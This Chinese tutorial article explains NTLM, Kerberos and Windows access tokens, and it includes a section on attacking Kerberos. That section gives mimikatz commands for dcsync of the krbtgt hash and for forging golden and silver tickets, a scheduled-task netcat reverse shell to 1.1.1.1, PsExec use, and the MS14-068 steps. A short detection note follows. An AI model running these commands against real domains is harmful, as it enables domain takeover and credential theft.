溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

windows的認(rèn)證協(xié)議是什么

發(fā)布時間:2021-10-12 15:11:13 來源:億速云 閱讀:269 作者:iii 欄目:編程語言

這篇文章主要介紹“windows的認(rèn)證協(xié)議是什么”,在日常操作中,相信很多人在windows的認(rèn)證協(xié)議是什么問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”windows的認(rèn)證協(xié)議是什么”的疑惑有所幫助!接下來,請跟著小編一起來學(xué)習(xí)吧!

一、NTLM認(rèn)證

首先看一下NTLM hash的生成過程:

NTLM hash: password ----> 十六進(jìn)制編碼 ----> Unicode轉(zhuǎn)換 ----> MD4加密 ----> 得到NTLM Hash
舉例
admin -> hex(16進(jìn)制編碼) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

為了保證NTLM hash的機(jī)密性,在認(rèn)證過程中,是不會直接傳遞NTLM hash的。NTLM認(rèn)證分為兩種,詳情如下:

NTLM本地認(rèn)證:客戶端發(fā)送用戶名等身份信息,服務(wù)端生成隨機(jī)16為challenge發(fā)給客戶端,客戶端使用NTLM hash加密challenge發(fā)給服務(wù)端。服務(wù)端通過用戶名找到NTLM hash然后加密challenge跟客戶端發(fā)送過來的比對,比對成功則認(rèn)證成功。

NTLM網(wǎng)絡(luò)認(rèn)證:這種情況適用于使用域賬號登錄的場景,這個時候服務(wù)端是沒有用戶的hash的。所以不一樣的地方是服務(wù)端會將用戶信息、challenge、客戶端返回的信息都發(fā)給域控,由域控做認(rèn)證再返回結(jié)果。流程圖見下圖:

windows的認(rèn)證協(xié)議是什么

二、kerberos認(rèn)證

NTLM協(xié)議比較簡單,kerberos認(rèn)證就比較復(fù)雜了,首先,介紹幾個概念。
Kerberos認(rèn)證的是由三方來完成的,他們分別是client、server、KDC(Key Distribution Center)
其中KDC是由兩種服務(wù)所構(gòu)成的,AS(Authentication Service)和TGS(Ticket Granting Service)
AS是用來為client生成TGT(Ticket Granting Ticket)的,TGS是用來為client生成某個服務(wù)的ST(service ticket)的,TGT是用來獲取ST的臨時憑證,ST是用來訪問某種服務(wù)所必須使用的票據(jù)。

第一步 client與AS交互
client發(fā)送: 用戶名 + 用戶密碼加密(用戶信息,時間戳等)

AS:根據(jù)用戶名找到用戶密碼,解密出用戶信息和事件戳,核實成功后認(rèn)證成功,然后隨機(jī)生成一個session key
AS發(fā)送:用戶密碼加密(session key) + TGT(也就是krbtgt加密(用戶信息,session key))

注意:TGT中用戶唯一不知道的是krbtgt的密碼hash,所以有了這個hash,就可以自己偽造TGT,也就是所謂的金票據(jù)。

第二步 client與TGS交互
client發(fā)送:session key加密(用戶信息,時間戳等) + 需要訪問的服務(wù)名 + TGT
TGS:使用krbtgt密碼解密TGT,獲得session key 解密出用戶信息,與TGS中的用戶信息比對。認(rèn)證成功后生成隨機(jī)的 server session key
TGS發(fā)送:session key加密(server session key) + ST(也就是對應(yīng)服務(wù)端密碼加密(用戶信息,server session key))

注意:ST中用戶唯一不知道的是server的密碼hash,所以有了這個hash,就可以自己偽造ST,也就是所謂的銀票據(jù)。

第三步 client與server交互
client發(fā)送:server session key加密(用戶信息,時間戳等) + ST
server:使用自己的密碼解密ST,獲得server session key,然后將server session key解密后獲得的用戶信息和ST中的用戶信息比對,認(rèn)證成功。

流程圖見下圖:

windows的認(rèn)證協(xié)議是什么

上面的過程中,每次加密使用的密鑰基本都是不一樣的,是一次一密的一個很好的實踐。

Kerberos認(rèn)證攻擊方法:

下面簡單講一下金票據(jù)的偽造和利用,使用工具為mimikatz。
1.在域控上獲取ntlm hash等信息

lsadump::dcsync /domain:[domain name] /user:krbtgt

2.生成金票據(jù)

privilege::debug  #提權(quán)
kerberos::golden /user:administrator /domain:[domain name]  /sid:[domain sid] /krbtgt:[krbtgt hash] /ptt  #生成票據(jù)并導(dǎo)入
# kerberos::golden /user:要偽造的域用戶(我們這一般寫域管理員) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt

3.后續(xù)利用
①列舉域控上磁盤文件

net use \\AD01.test.com
dir \\AD01.test.com\c$

②反彈shell

nc.exe -lvp 9999  #監(jiān)聽端口
copy C:\Users\Administrator\Desktop\nc.exe \\AD01.test.com\c$\nc.exe#將netcat拷貝到目標(biāo)主機(jī)
schtasks /create /tn "ncshell" /tr "c:\nc.exe  1.1.1.1 9999 -e cmd.exe"  /sc once /st 19:13:00 /sd 2021/04/13 /s AD01.test.com /RU test\admin #反彈shell

③使用psexec直接執(zhí)行命令:

PsExec64.exe \\AD01.test.com cmd.exe

銀票據(jù)的利用基本類似:

kerberos::golden /domain:test.com /sid:[sid] /target:計算機(jī)名稱.test.com /rc4:[server hash] /service:cifs /user:administrator /ptt

MS14-068原理

這里簡單介紹一下票據(jù)攻擊中大名鼎鼎的漏洞MS14-068
利用前提:

1.域控沒有打MS14-068的補(bǔ)丁(KB3011780)
2.拿下一臺加入域的計算機(jī)
3.有這臺域內(nèi)計算機(jī)的域用戶密碼和Sid

背景信息:

kerberos協(xié)議中其實沒有client的權(quán)限信息,server并不知道client有什么權(quán)限。所以有了PAC(privilege attribute certificate),特權(quán)屬性證書,作為TGT的一部分。
為保證PAC自身合法性,其帶有兩個以krbtgt密碼為密鑰的簽名。

攻擊過程:

客戶端請求TGT,要求不包含PAC,拿到不包含PAC的TGT
客戶端偽造PAC,一般偽造成域管理員信息,然后隨便用MD5簽名一下
客戶端請求ST,發(fā)送TGT,同時指定將PAC包含在請求中(具體再在TGS_REQ的REQ_BODY中),指定其簽名方式為MD5
TGS收到請求后,解密TGT,不包含PAC,然后根據(jù)指定的簽名算法也就是MD5驗證在外部的PAC,驗證成功后,會再返回給client一個新的包含PAC的TGT
這樣client就可以拿到一個包含指定用戶權(quán)限的TGT

票據(jù)攻擊檢測:

1.根據(jù)工具特征,mimikatz和kekeo類似,攻擊參數(shù)特征非常明顯,可根據(jù)進(jìn)程創(chuàng)建日志中的“kerberos::”等特征檢測。
2.微軟的ATA可根據(jù)ticket有效期檢測,TGT默認(rèn)十小時有效,但mimikatz生成默認(rèn)十年(由可選參數(shù)/ endin 控制)

三、令牌(token)

token是一個描述進(jìn)程或者線程安全上下文的一個對象。不同的用戶登錄計算機(jī)后,都會生成一個Access Token,這個Token在用戶創(chuàng)建進(jìn)程或者線程時會被使用不斷的拷貝。一般情況下,用戶雙擊運(yùn)行一個程序,都會拷貝“explorer.exe”的Access Token。當(dāng)用戶注銷后,系統(tǒng)將會使主令牌切換為模擬令牌,不會將令牌清除,只有在重啟機(jī)器后才會清除。

令牌內(nèi)容:

用戶帳戶的安全標(biāo)識符(SID)
用戶所屬的組的SID
用于標(biāo)識當(dāng)前登錄會話的登錄SID
用戶或用戶組所擁有的權(quán)限列表
所有者SID
主要組的SID
訪問控制列表
訪問令牌的來源
令牌是主要令牌還是模擬令牌
限制SID的可選列表
目前的模擬等級
其他統(tǒng)計數(shù)據(jù)

四、答疑

1、域控上的krbtgt賬號是怎么創(chuàng)建的?有默認(rèn)隨機(jī)密碼還是隨機(jī)密碼?如何修改?

krbtgt是在創(chuàng)建域控的時候自動生成的,并且由系統(tǒng)給他隨機(jī)分配一個密碼。修改密碼是到Active Directory 用戶和計算機(jī)中,找到相關(guān)用戶,reset密碼,然后輸入指定的密碼。 指定的密碼不是很重要,因為系統(tǒng)將自動獨(dú)立于指定的密碼生成強(qiáng)密碼。

2、什么時候使用token?什么時候用kerberos?以及它們之間有什么關(guān)系?

token是在本地用的,kerberos是網(wǎng)絡(luò)認(rèn)證用的。token里面有個authentication id字段,跟登錄會話關(guān)聯(lián)起來,然后登錄會話跟緩存憑據(jù)關(guān)聯(lián)起來,使用token登錄其他主機(jī)時,會使用緩存憑證去登錄其他機(jī)器。
網(wǎng)絡(luò)登錄不會緩存憑據(jù),比如net use到目標(biāo)主機(jī)就不會在目標(biāo)主機(jī)上查到hash,通過incognito也找不到可利用的token,但是在本地主機(jī)上可以看到明文賬號密碼。

3、在受害主機(jī)偽造了域控進(jìn)程的token后如何進(jìn)一步利用?

可直接net use或者psexec執(zhí)行命令。

4、既然域賬號NTLM認(rèn)證是在域控上完成的,為什么登陸之后還是能夠獲取到NTLMhash?

如果是RDP方式登錄,是在遠(yuǎn)程電腦上的進(jìn)程中輸入明文的密碼,處理過程的前面部分類似本地登錄,也就是winlogon.exe -> 接收用戶輸入 -> lsass.exe。也就是RDP的目標(biāo)機(jī)器接收了本地賬號并將其處理成hash,然后RDP目標(biāo)機(jī)器再使用這個hash去域控上認(rèn)證。

到此,關(guān)于“windows的認(rèn)證協(xié)議是什么”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識,請繼續(xù)關(guān)注億速云網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI